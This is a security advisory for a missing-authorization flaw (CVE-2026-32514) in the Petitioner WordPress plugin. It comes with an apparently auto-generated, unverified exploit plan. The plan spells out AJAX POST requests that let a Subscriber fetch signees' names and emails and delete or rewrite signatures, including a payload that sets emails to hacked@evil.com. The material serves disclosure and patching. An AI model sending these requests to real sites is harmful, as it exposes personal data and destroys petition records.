CVE-2026-32514

Petitioner <= 0.7.3 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
0.7.4
Patched in
1d
Time to patch

Description

The Petitioner plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 0.7.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=0.7.3
PublishedMarch 27, 2026
Last updatedMarch 27, 2026
Affected pluginpetitioner

What Changed in the Fix

Changes introduced in v0.7.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the technical steps required to exploit a Missing Authorization vulnerability in the Petitioner plugin (versions up to 0.7.3). ### 1. Vulnerability Summary The Petitioner plugin registers several AJAX actions for managing petition submissions (fetching, updating, deletin…

Show full research plan

This research plan outlines the technical steps required to exploit a Missing Authorization vulnerability in the Petitioner plugin (versions up to 0.7.3).

1. Vulnerability Summary

The Petitioner plugin registers several AJAX actions for managing petition submissions (fetching, updating, deleting, and status changes) using the wp_ajax_ prefix in inc/class-setup.php. While these actions are restricted to authenticated users, the corresponding handler functions in AV_Petitioner_Submissions_Controller (in inc/submissions/class-submissions-controller.php) fail to perform capability checks (e.g., current_user_can('manage_options')).

Additionally, frontend source code (e.g., src/js/admin/sections/EditFields/Submissions/ApprovalStatus/ResendButton.tsx) reveals that these endpoints do not implement WordPress nonces for CSRF protection, allowing any logged-in user (starting from the Subscriber role) to manipulate or delete petition signatures.

2. Attack Vector Analysis

  • Endpoints: /wp-admin/admin-ajax.php
  • Actions:
    • petitioner_delete_submission (Primary Target)
    • petitioner_fetch_submissions (PII Leakage)
    • petitioner_change_status
    • petitioner_update_submission
  • Method: POST
  • Authentication: Required (Subscriber-level access).
  • Parameters:
    • id: The integer ID of the submission to delete/update.
    • form_id: Used in petitioner_fetch_submissions to list entries.

3. Code Flow

  1. Registration: In inc/class-setup.php, the plugin hooks AJAX actions:
    add_action('wp_ajax_petitioner_delete_submission', ['AV_Petitioner_Submissions_Controller', 'api_delete_form_submission']);
  2. Request Entry: An authenticated user sends a POST request to admin-ajax.php?action=petitioner_delete_submission.
  3. Missing Check: The AV_Petitioner_Submissions_Controller::api_delete_form_submission method is invoked. It lacks a current_user_can() check or a check_ajax_referer() call.
  4. Sink: The controller calls AV_Petitioner_Submissions_Model::delete_submission($id), which executes a database deletion.

4. Nonce Acquisition Strategy

Based on the provided source file src/js/admin/sections/EditFields/Submissions/ApprovalStatus/ResendButton.tsx, the admin-facing AJAX handlers do not require nonces. The fetch calls in the React components pass only the submission id and action without any nonce or security parameter.

// Verification from ResendButton.tsx
const response = await fetch(`${ajaxurl}?action=petitioner_resend_confirmation_email`, {
    method: 'POST',
    body: new URLSearchParams({ id: id.toString() }), // No nonce present
});

Therefore, a Subscriber-level attacker can trigger these actions directly as long as they provide a valid id.

5. Exploitation Strategy

Step 1: Discover a Submission ID

To delete a submission, the attacker needs a valid submission id. They can leak all submissions (and their IDs) for a specific form using the vulnerable petitioner_fetch_submissions action.

  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=petitioner_fetch_submissions&form_id=1
    
  • Response: A JSON object containing an array of signees, including their id, email, and fname.

Step 2: Delete a Submission

Once an id is obtained (e.g., id=42), the attacker performs the unauthorized deletion.

  • Request:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=petitioner_delete_submission&id=42
    
  • Expected Response: {"success": true}

6. Test Data Setup

  1. Create Petition: Create a new petition post via WP-CLI.
    wp post create --post_type=petitioner-petition --post_title="Save the Whales" --post_status=publish
    
  2. Generate Submission: Use the public form submission action to create a test signature. (Requires a nonce, but we can bypass the public check by using WP-CLI to insert directly or by fetching the nonce from a page with the petition shortcode).
    # Alternative: Use WP-CLI to insert a row into the custom table directly
    wp db query "INSERT INTO wp_petitioner_submissions (form_id, email, fname, lname, approval_status) VALUES (1, 'victim@example.com', 'John', 'Doe', 'Confirmed')"
    
  3. Create Attacker: Create a user with the Subscriber role.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    

7. Expected Results

  • The petitioner_fetch_submissions request should return PII data (emails/names) for all signees, even though the user is only a Subscriber.
  • The petitioner_delete_submission request should return a success message.
  • The targeted signature should be removed from the database.

8. Verification Steps

After running the exploit as a Subscriber, verify the deletion using WP-CLI:

# Check if the submission still exists in the database
wp db query "SELECT * FROM wp_petitioner_submissions WHERE email='victim@example.com'"
# Expected: Empty result

9. Alternative Approaches

If petitioner_delete_submission is not prioritized, target petitioner_update_submission to alter the names or emails of signees:

  • Payload: action=petitioner_update_submission&id=42&petitioner_email=hacked@evil.com&petitioner_fname=Hacked
  • Reasoning: Demonstrates unauthorized modification (Integrity violation).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Petitioner plugin for WordPress (<= 0.7.3) is vulnerable to unauthorized access and data manipulation due to missing authorization and nonce checks in several administrative AJAX handlers. This allow authenticated attackers, such as Subscribers, to fetch signee PII, update submission details, or delete petition signatures without administrative privileges.

Vulnerable Code

// inc/class-setup.php lines 77-84
add_action('wp_ajax_petitioner_fetch_submissions', array('AV_Petitioner_Submissions_Controller', 'api_fetch_form_submissions'));
add_action('wp_ajax_petitioner_get_submissions', array('AV_Petitioner_Submissions_Controller', 'api_get_form_submissions'));
add_action('wp_ajax_nopriv_petitioner_get_submissions', array('AV_Petitioner_Submissions_Controller', 'api_get_form_submissions'));
add_action('wp_ajax_petitioner_change_status', array('AV_Petitioner_Submissions_Controller', 'api_change_submission_status'));
add_action('wp_ajax_petitioner_resend_confirmation_email', ['AV_Petitioner_Submissions_Controller', 'api_resend_confirmation_email']);
add_action('wp_ajax_petitioner_resend_all_confirmation_emails', ['AV_Petitioner_Submissions_Controller', 'api_resend_all_confirmation_emails']);
add_action('wp_ajax_petitioner_check_unconfirmed_count', ['AV_Petitioner_Submissions_Controller', 'api_check_unconfirmed_count']);
add_action('wp_ajax_petitioner_update_submission', ['AV_Petitioner_Submissions_Controller', 'api_update_form_submission']);
add_action('wp_ajax_petitioner_delete_submission', ['AV_Petitioner_Submissions_Controller', 'api_delete_form_submission']);

---

// src/js/admin/sections/EditFields/Submissions/ApprovalStatus/ResendButton.tsx lines 20-30
const response = await fetch(
    `${ajaxurl}?action=petitioner_resend_confirmation_email`,
    {
        method: 'POST',
        headers: {
            'Content-Type':
                'application/x-www-form-urlencoded; charset=UTF-8',
        },
        body: new URLSearchParams({
            id: id.toString(),
        }),
    }
);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/petitioner/0.7.3/dist/admin.js /home/deploy/wp-safety.org/data/plugin-versions/petitioner/0.7.4/dist/admin.js
--- /home/deploy/wp-safety.org/data/plugin-versions/petitioner/0.7.3/dist/admin.js	2026-01-15 01:42:20.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/petitioner/0.7.4/dist/admin.js	2026-02-16 17:39:04.000000000 +0000
@@ -1,4 +1,4 @@
-var ov=Object.freeze,Mk=Object.defineProperty;var fe=(e,t)=>ov(Mk(e,"raw",{value:ov(t||e.slice())}));import{s as Fk}from"./assets/utilities-Cs0l2Oez.js";function F8(){import.meta.url,import("_").catch(()=>1),async function*(){}().next()}function $k(e,t){for(var n=0;n<t.length;n++){const r=t[n];if(typeof r!="string"&&!Array.isArray(r)){for(const o in r)if(o!=="default"&&!(o in e)){const i=Object.getOwnPropertyDescriptor(r,o);i&&Object.defineProperty(e,o,i.get?i:{enumerable:!0,get:()=>r[o]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}var zk=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function ml(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var Yb={exports:{}},$c={},Xb={exports:{}},be={};/**
+var ov=Object.freeze,Mk=Object.defineProperty;var fe=(e,t)=>ov(Mk(e,"raw",{value:ov(t||e.slice())}));import{s as Fk}from"./assets/utilities-Cs0l2Oez.js";function F8(){import.meta.url,import("_").catch(()=>1),async function*(){}().next()}function $k(e,t){for(var n=0;n<t.length;n++){const r=t[n];if(typeof r!="string"&&!Array.isArray(r)){for(const o in r)if(o!=="default"&&!(o in e)){const i=Object.getOwnPropertyDescriptor(r,o);i&&Object.defineProperty(e,o,i.get?i:{enumerable:!0,get:()=>r[o]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}var zk=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function hl(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var Yb={exports:{}},zc={},Xb={exports:{}},be={};/**
... (truncated)

Exploit Outline

The exploit targets the administrative AJAX handlers that lack capability checks. An attacker must first authenticate as any user (e.g., Subscriber). 1. Data Leakage: The attacker sends a POST request to admin-ajax.php with the action 'petitioner_fetch_submissions' and a 'form_id'. The server responds with signee PII and submission IDs. 2. Data Modification/Deletion: Using a leaked submission ID, the attacker sends a POST request to 'petitioner_delete_submission' or 'petitioner_update_submission' with the 'id' parameter. Because the controller fails to verify if the user has 'manage_options' capabilities or validate a nonce, the action is executed on the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.